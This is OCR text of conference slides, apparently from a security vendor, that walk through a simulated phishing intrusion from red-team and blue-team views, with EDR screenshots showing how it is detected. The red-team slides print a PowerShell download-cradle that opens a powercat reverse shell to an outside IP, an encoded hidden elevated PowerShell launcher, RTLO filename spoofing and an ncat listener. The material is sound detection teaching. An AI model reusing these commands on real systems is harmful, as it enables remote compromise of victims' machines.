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Who is Certego? .
>] virusTotal o

Systems Security
Professional

l 2013 — Foundation: since then, we have been focused on :

Cloud Delivered Managed Detection & Response Services (MDR)
based on property (traduzione corretta?) Security Orchestration Platform
for Incident Response Coordination and Threat Intelligence.

? 2023 Modena +185 +10K
Headquarter Clients Incidents managed per year (2022)
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Kill Chain — A Red Team Perspective

Weaponization Exploitation Command & Control

Reconnaissance Delivery Installation Post-Exploitation
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Kill Chain — A Red Team Perspective
m @ Hours to Months

» ~  Preparation

o‘o Exploit, payload, backdoor, ...
* O >

J \

E-mail, SMS, USB, ...

Exploit a vulnerability to execute code on target machine ~ Intrusion @ Seconds

Installing malware on the asset

\

Command channel for remote manipulation of target’s system

Active Breach @ Hours to Years

Exfiltration, gathering information, ...

* X 5
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Endpoint Detection & Response

ﬁ File Modifications File Executions
Process Analysis & Timeline \ y
(] El

Continuous Monitoring

Custom Signatures

Scalable Registry Eresuted Binar
Modifications . y

Response capabilities

Network
Connections
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Endpoint Detection & Response

Process Analysis & Timeline

Continuous Monitoring
Custom Signatures
Scalable

Response capabilities
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Real world scenario
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Real world scenario
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Real world scenario
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Real world scenario

O%;L MDR Service — SOC Analysts
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Delivery and Execution — Red Team perspective

Name Date modified lype dize
v Quick access
puppy 10/19/2022 3:21 AM File folder
@l Desktop
. bat2exe.exe 10/18/2022 7:35 AM Applicatior 067 KB
w Downloads
| comand.txt 10/19/2022 2:50 AM lext Document 1 KB
- Documents
| compress.txt 10/18/2022 5:08 AM Text Document | KB
PN Pictures
%] content.bat 10/19/2022 2:46 AM Windows Batch File 1 KB
= _tmp_irt on cobalt =
ﬁl convert.wbs 10/18/2022 0:26 AM VBScrnipt Script File 2 KB
Modelli di Office p
ﬂ doge.ico 10/18/2022 7:52 AM lcon 2 KB
PUPPY m‘

IEX (New-Obiect Svstem.Net. Webclient). DownloadString(‘https:/raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1’); powercat —c 54.154.58.12 —
p 1337 —e powershell

15
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Delivery and Execution — Red Team perspective

=  content.bat - Notepad — O

File Edit View £63

pawershell Start-Process powershell -Verb runas -WindowStyle hidden -Argumentlist '-NoProfile','-EncodedCommand’, 'SQBFAFgAIAACAE4AZOB3ACOATWBLAGOAZOBjAHQAL ABT AHk AcwBBOAGUADC

powershell Start-Process powershell —Verb runas —WindowStyle hidden —ArgumentList *-NoProfile’,’
-EncodeCommand’,’SQBFAFgAIAA0AE4AZQB3ACOATwBIAGOAZQBjAHQAIAAHKAcuBeAGUAD...(omissis)...’
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Delivery and Execution — Red Team perspective

BN BAT2EXE V. 2.0 - Rel. [2021-02-16] By: Islam Adel - http://BAT2EXE.net

#HuAHRY  #HRARH # #a# R#ARHE ## w#RHH? #
# ## # # # s # # # #
#uHH # # # #RRnHR nRRHn # # #una #
A #
Name Date modified # #
B R e
N/10/2022 2:21 Ab B L e L e e g
. puppy 10/19/2022 3:21 AM x
# This Tool will help you to convert Batch Files [.bat / .cmd]
- /2022 7:35 2 # 1including any other Files in a certain Folder BwW ([
batZexe.exe 10/18/2022 7:35 AM # to an executable [.exe] file package.
#
- ‘ e B a8 a8 ke # A~ 2: > ThisPC > _tmp_irton cobalto
| comand.txt 10/19/2022 2:50 AM e
Please select the SOURCE Folder which includes your batch file: A
Name
i Sl = " By T | N < 4ay 5 X P Juick access
/1272022 Q08 AN | A1l files in this folder will be packed to a single executable.
L] COI’ﬂprSS.tXt 10/18/2022 5:08 AM | The last modified batch file will be executed by default when _ puppy
| running the generated .exe file Desktop J—
P A KA AA R | and optionally the last modified icon file will be applied .. bat2exe.exe
[ % content.bat 10/19/2022 2:46 AM | for help, run bat2exe.exe /h Downloads  # )
|| comand.txt
Documents +
convert.wvbs 10/18/2022 6:206 AM Do you want to use your previous SOURCE Folder? P : =] compress.txt
Ictures
| SOURCE = [\\tsclient\_tmp_irt\puppy] R (%] content.bat
- 1 2.CY A tsclient\_tmp_irt
H doge.ico 10/18/2022 7:52 AM O ] ccnvariis
: Modelli di Office p
doge.ico

Verifying path: "\\tsclient\_tmp_irt\puppy”.. PUPPY
. .OK

Scannig for .bat and .cmd file[s]...
Found batch file “content.bat"

Scannig for .ico file[s]...
Found icon file “doge.ico"

Please select TARGET folder for the generated executable:

Do you want to use your previous TARGET Folder?
1 item selected 966 KB

I
I
| TA = [\\tsclient\_tmp_irt\puppy]
I
I

17
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Delivery and Execution — Red Team perspective

BN BAT2EXE V. 2.0 - Rel. [2021-02-16] By: Islam Adel - http://BAT2EXE.net

#HAHRE  #HAHRH # #a# R#ARHE ## w#RHH? #
# ## # # # s # # # #
#uHH # # # #RRnHR pARHR # # #una #
N #
Name Date modified #
R e e e e e e e e e g e e g
/1972022 221 A B L e L e e g
. puppy 10/19/2022 3:21 AM 4
# This Tool will help you to convert Batch Files [.bat / .cmd]
- 103029 7.9C A # 1including any other Files in a certain Folder 2w ([
batZexe.exe 10/18/2022 7:35 AM # to an executable [.exe] file package.
#
- e e o st B e R g # A~ 2: > ThisPC > _tmp_irton cobalto
| comand.txt 10/19/2022 2:50 AM e _
Please select the SOURCE Folder which includes your batch file: A
Name
% s C F1lae 4 : . 14} 5 3 c Duick access
N/ F:' 022 Q.08 AN | A1l files in this folder will be packed to a single executable.
[~] compress.txt 10/15/2022 3:08. M | The last modified batch file will be executed by default when puppy
| running the generated .exe file Desktop J—
‘ P A KA AA R | and optionally the last modified icon file will be applied .. bat2exe.exe
[ % content.bat 10/19/2022 2:46 AM | for help, run bat2exe.exe /h Downloads * )
|| comand.txt
Documents +
@ convert.vbs 10/18/2022 6:20 AM Do you want to use your previous SOURCE Folder? 4 -] compress.txt
ictures »
SOURCE = [\\tsclient\_tmp_irt\puppy] - (5] content.bat
. 4 0 49 " tsclient\_tmp_irt
ﬂ doge.ico 10/18/2022 7:52 AM (R ] ccnvariis

Modelli di Office p q
W doge.ico

Verifying path: "\\tsclient\_tmp_irt\puppy”.. puppy
. .OK

Qrannia fan hat and rmd fi'lafc]...
Found batch file “content.bat™

Scannig for .ico file[s]...
Found icon file “doge.ico"

Please select TARGET folder for the generated executable:

Do you want to use your previous TARGET Folder?
1 item selected 966 KB

I
I
| TA = [\\tsclient\_tmp_irt\puppy]
I
l
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Delivery anution — Red Team perspective

ysoft Corporation. All

Install the latest PowersShell for new features and improvements

ms /PSWindows

il . ent\_tmp_irt> .\convert.vbs content.exe puppy_photoRTLOgnp.ex¢
llr: em: tsclient\_tmp_irt>

Name

& ient\_tmp_irt> .\convert.vbs content.exe puppy_photoRTLOgnp.e
tsclient\ i

LastwriteTime Length Name

PS Microsoft.PowerShell.Corel\

***
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Delivery and Execution — Red Team perspective

ysoft Corporation. All rights

atest PowerShell for new features and improvements! h s //aka.ms /PSWindows

puppy_photoRTLOgnp . exe

E\_tmp_irt

LastwriteTime

tmp_irt> .\convert.vbs content.exe [puppy_photoRTLOgnp.e
SEMpE eSS

LastwriteTime Length Name

soft.PowersShell.Core\

* X 5
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Delivery and Execution — Red Team perspective

ossigeno@cobalto /tmp/irt % 7z a -p -mx=9 -mhe -t7z puppy.7z puppy.Ear

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en US.UTF-8,Utfl6=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) 1i5-8256U CPU @ 1.60GHz (806EA),ASM,AES-NI)

Scanning the drive:
1 file, 133120 bytes (130 KiB)

Creating archive: puppy.7z

Items to compress: 1

Enter password (will not be echoed):
Verify password (will not be echoed)
Files read from disk: 1

Archive size: 54792 bytes (54 KiB)
Everything is Ok

21
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Delivery and Execution — Red Team perspective

ossigeno@cobalto /tmp/irt % 7z a -p -mx=9 -mhe -t7z puppy.7z puppy.tar R # Scrivi: CHECK MY DOGE - Thunderbird - 0 X
Eile Modifica Visualizza Inserisci Formato Opzioni  Strumenti  Aiuto
7-Zip [64] 16.02 :

Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en US.UTF-8,Utfl6=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Cot

< Invia fo Ortografia Vv % Salva Vv U Allega v

Da  Ossigeno <ossigeno@mailfence.com> ossigeno@maiifence. con v Cc Cen D
Scanning the drive: -
1 file, 133120 bytes (130 KiB) A T

ossigeno@mailfence.com

nt.exe puppy_photoRTLOgnp.exe

Creating archive: puppy.7z Oggetto  CHECK MY DOGE

Paragrafo V'  Larghezza variabile viE T, BI VYA

[
|
I
[
<
(2]
<
©®
<

Items to compress: 1

HEY HEY HEY

DO YOU WANT TO CHECK MY DOGE???|
Enter password (will not be echoed):

Verify password (will not be echoed)

Files read from disk: 1
Archive size: 54792 bytes (54 KiB)
Everything is Ok

nt.exe puppy_photoRTLOgnp.exe

V Wallegato @

puppy.7z 53.5 kB

22

* X %

‘Clusit decerteco
KRR, dm SECURITY SUMMIT g O



Delivery and Execution — Red Team

B Postain arrivo
B Scarica messaggi | v & Scrivi | (D Etichetta v | ili Filtro veloce Cerca <Ctrl+}
) (Cartelle &2 | B Nonletti Y Speciali Inrubrica <2 Etichette [ Allegati Filtra questi messaggi <Ctrl+Maiusc +}
77 ossi ilf X
@ iossugen.o@m-al SHeeos k(w8 (|0 Oggetto Corrispondenti Data
|=) Posta in arrivo
= Bozme U] CHECK MY DOGE ossigeno@mailfence.com 3:24 AM
R Bb=
</ Sentltems ORTLOgnp. e>
& Spam?
fij Cestino
~ [ Cartelle locali
7 Cesti v Downloads
fiif Cestino
[£Z; Posta in uscita _ ~ .
+) Ne ([l ] =D & 1] N Sort = View
¥ > ThisPC > Downloads » J Search Download
Name Date modified Type Size
N Quick access
Today (3)
@l Desktop
puppy.7z 10/19/2022 3:25 AM Z File
+ Downloads
L] puppy:tar 10/19/2022 3:24 AM TAR File 130 KE
) 2 Documents
Da Me @ & Rispondi @ Inoltra | [ Arc B puppy_photoexe.png 10/19/2022 3:23 AM Applicatior 119
. Pictures
A Me @ R Earlier this year (4)
Jggetto CHECK MY DOGE - Wsclient\_tmp_irt desktop.ini [{f 1/27/2022 937 AM Configuration setE. | KB
HEY HEY HEY Modelli di Officep  ug processhacker-2.39-setup.exe 472772022 2:09 AM Applicatior 2,215 KB
DO YOU WANT TO CHECK MY DOGE?2?
puppy snapshot_2022-04-11_01-01 1/28/2022 8:23 AM File folder
rtlo npp.84.portable x64 4/28/2022 8:23 AM File folder
@ OneDrive
@ OneDrive
This PC
A Network
7items  1item selected 130 KB =0
N @J 1 allegato: puppy.7z 53.5 kB ¥ Salva VvV
B puppy.7z 53.5 kB
I€ (=) Non letti: 0 Totale: 1

23
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Delivery and Execution — Red Team perspective

04

Posta in arrivo

) B9 Scarica messaggi | vV # Scrivi {9 Etichetta Vv | ili Filtro veloce ¢ Ctrl+}

B Cartelle 2 | 2@ Nonletti T Speciali Inrubrica <2 Etichette [ Allegati Filtra quest gi <Ctrl+Maiusc+

52 i ilf .
j ossipenolimalicuce.com Ead 0@ 9 Oggetto Corrispondenti Data A B

& Posta in arrivo

() [£] Bozze BN CAWindows\systern32\cmd.exe
<J Sentlte
ARS-EIGEC - \Users\admin\AppData\Local\Temp\7 Star " OC e s -Verb runas -Winc yle hidden -Argul
REn g entLlist -NoProfile®, " -EncodedCommand COATWBLAGOAZQBJAHQAIABTAHKACWBBAGUADQAUAE4AZQBBACIAVWBLAGT
’_Cartellel AYWBsAGKAZQBUAHQAKQAUAEQA N CcAaABBAHQACABZADOALWAVAHIAYQB3ACS IBpAHQASAB1AGIA
B 1 i L BLAHIAYwWBhAHQA Lu IBBAGUACEA vAHAADI
fij Cestino JAGEAJAAUAHAACWAXACCA 3 8 BACAANQAAACAAMQA YAC OBWACAANMQAZADMAN

LR 704 g AHAADWB3AGUAC gBZAGEA

@ OneDrive
@ OneDrive
@ Tis PC
2 Network
7 items 1 item selected 118 KB =0
v 1 allegato: puppy.7z 53.5 kB & Salva Vv
£
N puppy.7z 53.5kB
B (=) Non letti: 0 Totale: 1
® > T 5 ENG : 3:25 AM
Soleggiat Al p L D - ~ ’ L! n o IT C'? ‘@ 10/19/2022 0

* X
* o
{Clusit .
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Delivery and Execution — Red Team perspective

[ =) B Posta in arrivo
] B Scaricamessaggi | v # Scrivi D Etichetta v | ili Filtro veloce
B Cartelle 2 | @ Nonletti ¥ Speciali Inrubrica {9 Etichette {] Allegati Filtra q
=] Eﬂospslg:an;@;::‘:fence.com Ed 0 @ 9 Oggetto Corrispondenti
@ [£] Bozze [N C: \Wmdows\syst#mﬁ\cmd exe
346. tart SS ! -Verb r
'-NoProfile', ' -Enc Command”, " SQ 33 3 'E]AH' ATABTAHKA
QBUAHQAK HF—\IJAE' 3AGS ¢ s aAB QACABZ A['OL\L’ 1A\AHIA 2 10AaAB1AG GU
bgBBAGUAbg ] 'lAGUACVMElpL\"J"' WB 1A A Bl GUACgAvAHAADW
GE/—\dAAIJAHA\AU 0 :;A‘JUAkkEJA'JEAL‘AAtA gADUAN JABACS J JACAAMQAZADMANWARZACH
ubuntu@ip-10-0-0-6 /tmp $ ncat -1k 1337
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Windows\system32> whoami
whoami
desktop-6v2k2i8\admin
SEEPS (- \Windows\cvetom3?> B
@ OneDrive
I This PC
ol Network
7items  1item selected 118 KB =|0
v 1 allegato: puppy.7z 53.5 kB & Salva Vv
= puppy.7z 53.5kB
K (=) Non letti: 0 Totale: 1
ol HOoO0owO0om AW D% i ®

***

CIUS|t a
R SECURITY SUMMIT

$5certego



Delivery and Execution — Blue Team perspective

PROCESS ANALYSIS

® Primary Process Selected Process 12:40:42 pm Oct 19, 2022
puppy_photoexe.png puppy photoexe.png  Useriadmnbownioadsipuppy photoexe prg & _

DEVICE DETAILS: A DESKTOP-6V2K2I18\admin &8 Windows 11 x64 [0 DESKTOP-6V2K2I8 = 88.38.197.251 (100.70.220.136) Off-premises R no prevention More

Group by hash (I
.. Jackagedcwalauncher...
puppy_photoexe.png
CMD CA\Users\admir X

+0 Jownloads\puppy_f

powershell.exe

Pat} c\users\admin\downloads\puppy p!

a puppy_photoexe.png + I M I ! ‘
TR R MDS db936e4775110cS5fedccad943d/7021a.
SHA-256 ee3f3acabd6ab990cic9e5278b9% ¢t /e
a puppy_photoexe.png + hG&aR 3¢ 7a6023d0be 720766 6
conhost.exe Binary Det

’v
puppy_photoexe.png - » 3 cmd.exe REPUTATION ¢~

powershell. exe Effective NOT_LISTED

12:40:42 pm O

puppy_photoexe.png Cloud (Initial) NOT_LISTED
12°4 3 pm Oct 19 2022
Cloud (Current) NOT_LISTED

|
repux.exe }

PID 9300

Starttime 12:40:37 pm Oct 19, 2022
resourcehacker.exe

Process Access Control
Elevated

runonce.exe + Integrity Medium

Privileges SeChangeNotifyPrivilege

securityhealthsystray.e... Unverified

26
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Delivery and Execution — Blue Team perspective

PROCESS ANALYSIS

® Primary Process Selected Process 12:40:42 pm Oct 19, 2022
puppy_photoexe.png puppy photoexe.png  Useriadmnbownioadsipuppy photoexe prg & _

DEVICE DETAILS: A DESKTOP-6V2K2I8\admin &8 Windows 11 x64 [0 DESKTOP-6V2K2I8 = 88_ Off-premises ? no prevention More

Group by hash a

Jackagedcwalauncher...
puppy_photoexe.png
CMD CA\Users\admir X

+0 Jownloads\puppy_f

powershell.exe

Pat} c\users\admin\downloads\puppy p!

a puppy_photoexe.png + I M I ! ‘
TR R MDS db936e4775110cS5fedccad943d/7021a.
SHA-256 ee3f3acabd6ab990cic9e5278b9% ¢t /e

a puppy_photoexe.png + hG&aR 3¢ 7a6023d0be 720766 6
conhost.exe Binary Det
’v
puppy_photoexe.png - » 3 cmd.exe REPUTATION ¢~

powershell.exe Effective NOT_LISTED

12:40:42 pm O

puppy_photoexe.png Cloud (Initial) NOT_LISTED
124 3 pm Oct 19 2022
Cloud (Current) NOT_LISTED

|
repux.exe }

PID 9300

Starttime 12:40:37 pm Oct 19, 2022
resourcehacker.exe

Process Access Control
Elevated

runonce.exe + Integrity Medium

Privileges SeChangeNotifyPrivilege

securityhealthsystray.e... Unverified

27

{Clusit . ego
et SECURITY SUMMIT O




Delivery and Execution — Blue Team perspective

PROCESS ANALYSIS

® Primary Process Selected Process 12:40:42 pm Oct 19, 2022
puppy_photoexe.png puppy photoexe.png  Useriadmnbownioadsipuppy photoexe prg & _

DEVICE DETAILS: A DESKTOP-6V2K2I8\admin &8 Windows 11 x64 [0 DESKTOP-6V2K2I8 = 88_ Off-premises ? no prevention More

Group by hash a

Jackagedcwalauncher...
puppy_photoexe.png
CMD CA\Users\admir X

+0 Jownloads\puppy_f

powershell.exe

Pat} c\users\admin\downloads\puppy p!

a puppy_photoexe.png + I M I ! ‘
TR R MDS db936e4775110cS5fedccad943d/7021a.
SHA-256 ee3f3acabd6ab990cic9e5278b9% ¢t /e

a puppy_photoexe.png + hG&aR 3¢ 7a6023d0be 720766 6
conhost.exe Binary Det
’v
puppy_photoexe.png - » 3 cmd.exe REPUTATION ¢~

powershell.exe Effective NOT_LISTED

12:40:42 pm O

puppy_photoexe.png Cloud (Initial) NOT_LISTED
124 3 pm Oct 19 2022
Cloud (Current) NOT_LISTED

|
repux.exe }

PID 9300
Starttime 12:40:37 pm Oct 19, 2022

resourcehacker.exe
Process Access Control

Elevated

runonce.exe + Integrity Medium

Privileges SeChangeNotifyPrivilege

securityhealthsystray.e... Unverified
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Delivery and Execution — Blue Team perspective

PROCESS ANALYSIS

@® Primary Process

Selected Process

puppy_photoexe.png puppy_photoexe.png '« UsersadminiDownioad

DEVICE DETAILS:

Group by hash a

,31 DESKTOP-6VZ2K2I

a0min

&8 Windows 11 x64

UP-DVZIKZNI

= 88.38.197.251 (100.70.220.136)

Jackagedcwalauncher...

+0m

powershell.exe

puppy_photoexe.png +

puppy_photoexe.png +

Off-premises

? no prevention More

puppy_photoexe.png

puppy_photoexe.png -

* X 5

<Clusit

ssociazione ltaliana
per la Sicurezza Informatica

puppy_photoexe.png

repux.exe

resourcehacker.exe

runonce.exe +

securityhealthsystray.e...

= . ’ cmd.exe

conhost.exe

a powershell.exe

V|
SECURITY SUMMIT
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CMD C:A\ Jownloads\puppy_§
Run by ) f d
Path T jownload p
M b9 11( edccadud4id )
HA-25 f ( i6a (9ef 4 {
h f ’a 9t ¢ f(
pinar {
REPUTATION
Effective NOT_LISTED
12:40:42 pm Oct 19
Cloud (Initial) NOT LISTED
T.' { ." n ikt 19 . ‘.-'
Cloud (Current) NOT_LISTED

1
v 1

PID 9300
12:40:37 pm Oct 19, 2022

Start time

Process Access Control

Elevated
Integrity Medium
Privileges SeChangeNotifyPrivilege

Unverified

e0o0



Delivery and Execution — Blue Team perspective

PROCESS ANALYSIS

Selected Process

® Primary Process

puppy_photoexe.png puppy_photoexe.png 1ds\g ‘ exi
sl A rUNONCS.8X8 + Unverinea
Product T2EX
CA
m securityhealthsystray.e.. Publisher
FILTERS Clear «
Type (5)
8 results
filemod 8
TIME & TYPE EVENT
modload 31
shrcea. sl : filemod Created users\admin\appdata np
regmod 5
childproc 2
12:40:37 pm Oct filemod Opened (delete) jIsers\admir If
| 19, 2022
Domain
+ Filemod (2) 1_ ‘I,\j pm Oct filemod Deleted: c:\users\admin\appdata N}
Regmod
| 12:40:37 pm Oct filemod Created: c\users\admin\appdata np
Modload 19 2022
)SSP (
| 12 7 pm Oct filemod Created: c:\users\admin\appdata D tba
- S Opened (write): c:\users\admn D
nuapr g AR it ey e
| 12:40:37 pm Oct f:.tmod Created: c\users\admin\appdata\local\temp\7zsb ntent.bat (96ac354696ea8a5d7b49f2abb655430b8550¢9e437b9%ac4d1b59%e6692d03668¢)
Application Protoco 19, 2022
| Pv4d
’ 12:40:42 pm Oct filemod Opened (delete) users\admir Rigal
19, 2022
Remote IPv4
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Delivery and Execution — Blue Team perspective

PROCESS ANALYSIS
® Primary Process Selected Process 12:40:42 pm Oct 19, 2022
DEVICE DETAILS: ~ DESKTOP-6V2K2I8\admin & Windows 11 x64 [ DESKTOP-6V2K2I8 = 88.38.197.251 (100.70.220.136) Off-premises < no prevention More
Group by hash a @® Primary Process Selected Process 12:40:42 pm Oct 19, 2022
.. Jackagedcwalauncher... puppy photoexe.png cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\7zSB9DA.tmp\content.bat" " ¢
+ - Crusspruc 7 ‘
[ 24 ] TIME & TYPE EVENT
i + 09 modload 3 ‘
powershell.exe
LA ERSOpROE - ‘ 12:40:37 pm Oct crossproc This process opened a handle with change rights to process c:\program files\confer\reputils.exe (7d1a4bcb39ed73c4365b91dad4a11a4ae88bd65b4c5e76c7
@ scriptload 1 ‘ 19, 2022 0775ed055cdd65e29)
mn
. puppy_photoexe.png +
- | Domain 12:40:37 pm Oct Crossproc This process opened a handle with change rights to process c:\windows\system32\svchost.exe (0ad27dc6b692903c4e129b1ad75ee8188dadb9ce34c309fec
ph i 19,2022 34a25fe86fb176d)
puppy_photoexe.png + t Filemod
12:40:37 pm Oct childproc Invoked: c:\windows\system32\conhost.exe (a17e289f2060717bedeS5fa53e7fdc1167acda77995abb85a6d5829446ff36175)
{ Regmod 19, 2022
®
puppy_photoexe.png - cmd.exe | +  Modload (3) f f
12:40:37 pm Oct crossproc This process opened a handle with change rights to process c:\windows\system32\conhost.exe (a17e289f2060717bede5fa53e7fdc1167acda77995abb85a6
19, 2022 d5829446ff36175
+ L 15 +  Crossproc (6) 5 = )
puppy_photoexe.png
+  Childproc (2) 12:40:37 pm Oct crossproc This process opened a handle with change rights to process c:\\windows\explorer.exe (74b535bbe2b44941645812d38947e1048cbe1518fa4b711383354298
19, 2022 5¢54623d)
a { Sensor Action
repux.exe
Application Protocol 1;14200‘3; pm Oct modload Loaded: [c:\windows\syswow64\ctiuser.dll] (59473005afeSbf424ce2dba8fd3c9182ca5905c69f0524987b383f2e680933b3)
“+ Local IPv4
12:40:37 pm Oct modload Loaded: [c:\windows\syswow64\fltlib.dll] (ca3cb400e1b7d7548c349f3663a337f17f8007cc7ab2505dd4cfb0208a89247¢)
Remote IPv4 19, 2022
Local IPv6
12:40:37 pm Oct modload Loaded: [c:\windows\syswow64\crdext.dll] (047bb3c1cbf3d7f8aa05764d53fae58bd96bbe14a5¢cf11e03ea5449521095caf)
Remote IPv6 19, 2022
Remote Port 12:40:37 pm Oct scriptload The script c:\users\admin\appdata\local\temp\7zsb9da.tmp\content.bat was loaded.
19, 2022
Device Name
Netconn Action Scriptload Content:
SHA-256: ) !
N
MD5: ee71141 a49b9?g843d5638247987b94f
PID: 5416

31
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Delivery and Execution — Blue Team perspective

@® Primary Process Selected Process

puppy_photoexe.png powershell.exe

DEVICE DETAILS:

T .

Group by hash ﬂ/t

Jackagedcwalauncher....

& DESKTOP-6V2K2I18\admin

+00

powershell.exe

dda

puppy_photoexe.png +
puppy_photoexe.png +
-{é,»

12:40:42 pm Oct 19, 2022

powershell Start-Process powershell -Verb runas -WindowStyle hidden -ArgumentList '-NoProfile','-EncodedCommand’,'SQBFAFgAIAACAE4AZQB3ACOATWBIAGOAZQBjAH
QAIABTAHKAcWBOAGUADbQAUAE4AZQBOAC4AVWBIAGIAYWBSAGKAZQBUAHQAKQAUAEQAbwB3AG4AbABVAGEAZABTAHQACEBpAGAAZWAOACCAaABOAHQACABZADOALW
AVAHIAYQB3AC4AZWBpAHQAaAB1AGIAdQBzAGUACgBJAG8AbgBOAGUADbgBOAC4AYWBVAGOALWBIAGUACcWBpAGOAbwBYAGgAaQBUAGBALWBWAGBAdwBIAHIAYWBhAHQ
ALWBtAGEAcwWBOAGUAC g AvAHAAbwWB3AGUAC g BJ AGEAdAAUAHAACWAXACCAK Q A7AHAAbWB3AGUAC g BJ AGEAd l'\f‘\g/’\ COAYWA gf\ DUANAAUADEAN Q AOAC4AN Q A4AC4AM Q i

a8 Windows 11 x64 [ DESKTOP-6V2K2I8 = 88.38.197.251 (100.70.220.136) Off-premises K no prevention More
»
powershell.exe
CMD powershell Start-Process powershell

Verb runas -WindowsStyle hidden -Arg
umentList '-NoProfile',-EncodedCom
mand’,'SQBFAFgAIAACAE4AZQB3AC...

Run by DESKTOP-6V2K2I8\admin

Path syswowb64\windowspowi
hell\v1.0\powershell.exe

MD5 bc4535f575200446e698610c00e148

SHA-256 88e1993beb7b2d9¢3a9c3a026dc8d0
conhost.exe &
50

0159afd3e574825c23a34b917cab11.

puppy_photoexe.png

puppy_photoexe.png

repux.exe

resourcehacker.exe

runonce.exe

securityhealthsystray.e...

sociazione Italiana
zza Informafica

- cmd.exe Binary Det

powershell.exe

REPUTATION ¢

TRUSTED_WHITE_LIST

2022

Effective

12:40:42 pm Oct 19,

Cloud (Initial) TRUSTED_WHITE_LIST

12:45:17 pm Oct 19, 2022

TRUSTED_WHITE_LIST

2022

Cloud (Current)

3:.36:01 pm Oct 20,

PID 9276

Start time  12:40:37 pm Oct 19, 2022

Process Access Control (2

Elevated --
Integrity  Medium
Privileges SeChangeNotifyPrivilege
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Delivery and Execution — Blue Team perspective

T .

+

m

usit

ciezione ltaliana
rza Informaftica

puppy_photoexe.png

DEVICE DETAILS:

Selected Process

powershell.exe

Primary Process

12:40:42 pm Oct 19, 2022

powershell Start-Process powershell -Verb runas -WindowStyle hidden -ArgumentList '-NoProfile','-EncodedCommand’,'SQBFAFgAIAACAE4AZQB3ACOATWBIAGOAZQBjAH
QAIABTAHKAcWBOAGUADbQAUAE4AZQBOAC4AVWBIAGIAYWBSAGKAZQBUAHQAKQAUAEQAbwB3AG4AbABVAGEAZABTAHQACEBpAGAAZWAOACCAaABOAHQACABZADOALW
AVAHIAY Q B3AC4AZWBpAH Q AaAB1AGIAd Q BzAGU )’\('g H\ AGSBA Dg BOAGUA hg’%' JACAAYWBVAGOALWBIAGUACwWB P AGOAbw ij’f\(]ﬁf\f) Q BUAGS8ALWBWAGSAdwBIAHIAYWBhAH Q
ALWBtAGEAcWBOAGUAcgAVAHAAbwWB3AGUACgBJAGEAdAAUAHAACWAXACCAKQA7AHAAbWB3AGUACgBJAGEAdAAGACOAYWAEADUANAAUADEANQAOACAANQA4ACAAMQ...

Group by hash ﬁ)

Jackagedcwalauncher....

R .

powershell.exe

puppy_photoexe.png +

puppy_photoexe.png +

& DESKTOP-6V2K2I18\admin

a8 Windows 11 x64 [ DESKTOP-6V2K2I8 7= 88.38.197.251 (100.70.220.136) Off-premises K no prevention More

>

powershell.exe
CMD

Verb runas -WindowStyle hidden -Arg
umentList '-NoProfile',-EncodedCom

mand’,'SQBFAFgAIAACAE4AZQB3AC...

Run by DESKTOP-6V2K2I8\admin

Path c:\windows\syswow64\windowspowt
hell\v1.0\powershell.exe

MD5 bcd4535f575200446e698610c00e148:

SHA-256 88e1993beb7b2d9c3a9¢c3a026dc8d0

conhost.exe L R e e 1
0159afd3e574825c23a34b917cab11:

puppy_photoexe.png —

puppy_photoexe.png

repux.exe

resourcehacker.exe

runonce.exe +

securityhealthsystray.e...

- cmd.exe bl Binary Det

powershell.exe

REPUTATION ¢

TRUSTED_WHITE_LIST
12:40:42 pm Oct 19, 2022
TRUSTED_WHITE_LIST

12:45:17 pm Oct 19, 2022

TRUSTED_WHITE_LIST

3:36:01 pm Oct 20, 2022

Effective

Cloud (Initial)

Cloud (Current)

PID 9276

Starttime 12:40:37 pm Oct 19, 2022

Process Access Control (2

Elevated --
Integrity  Medium
Privileges SeChangeNotifyPrivilege
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Delivery and Execution — Blue Team perspective

@® Primary Process Selected Process 12:40:42 pm Oct 19, 2022
puppy photoexe.png powershe".exe powershell Start-Process powershell -Verb runas -WindowStyle hidden -ArgumentList '-NoProfile','-EncodedCommand’,'SQBFAFgAIAACAE4AZQB3ACOATWBIAGOAZQBjAH

- QAIABTAHKAcWBOAGUADbQAUAE4AZQBOAC4AVWBIAGIAYWBSAGKAZQBUAHQAKQAUAEQAbwB3AG4AbABVAGEAZABTAHQACEBpAGAAZWAOACCAaABOAHQACABZADOALW 5 -
AVAHIAY Q B3AC4AZWBpAH Q AaAB1AGIAd Q BzAGU )’\('g H\ AGSBA Dg BOAGUA hg’%' JACAAYWBVAGOALWBIAGUACwWB P AGOAbw ij’f\(]ﬁf\f) Q BUAGS8ALWBWAGSAdwBIAHIAYWBhAH Q -
ALWBtAGEAcWBOAGUAcgAVAHAAbwWB3AGUACgBJAGEAdAAUAHAACWAXACCAKQA7AHAAbWB3AGUACgBJAGEAdAAGACOAYWAEADUANAAUADEANQAOACAANQA4ACAAMQ...

CMD Line X

powershell Start-Process powershell -Verb runas -WindowStyle hidden -ArgumentList '-NoProfile’,-EncodedCommand’,'SQBFAFgAIAACAE4AZQB3ACOATWBIAGOAZQBJAHQAIABTAHKACWBOAGUA
bQAUAE4AZQBOAC4AVWBIAGIAYWBSAGKAZQBUAHQAKQAUAEQAbwWB3AG4ADABVAGEAZABTAHQACEBpAG4AZWAOACCAAABOAHQACABZADOALWAVAHIAYQB3AC4AZWBpAHQAAABT1AGIAdQBZAGU
AcgBJAG8AbgBOAGUAbgBOAC4AYWBVAGOALWBIAGUAcwWBpAGOAbwBYAGgAaQBUAGBALWBWAGBAdwBIAHIAYWBhAHQALWBtAGEAcWBOAGUACgAVAHAAbWB3AGUACgBJAGEAdAAUAHAACWAXACC
AKQA7AHAAbWB3AGUACgBJAGEAdAAgACOAYWABADUANAAUADEANQADACAANQALACAAMQAYACAALQBWACAAMQAZADMANWAEACOAZQAgAHAADWB3AGUACgBZAGEAZQBSAGWA' N

Script Insights

Key Indicators (?) Formatted PowerShell Script

identities 1 Start-Process powershell -Verb runas -WindowStyle hidden -ArgumentList '-NoProfile', '~EncodedCommand’,

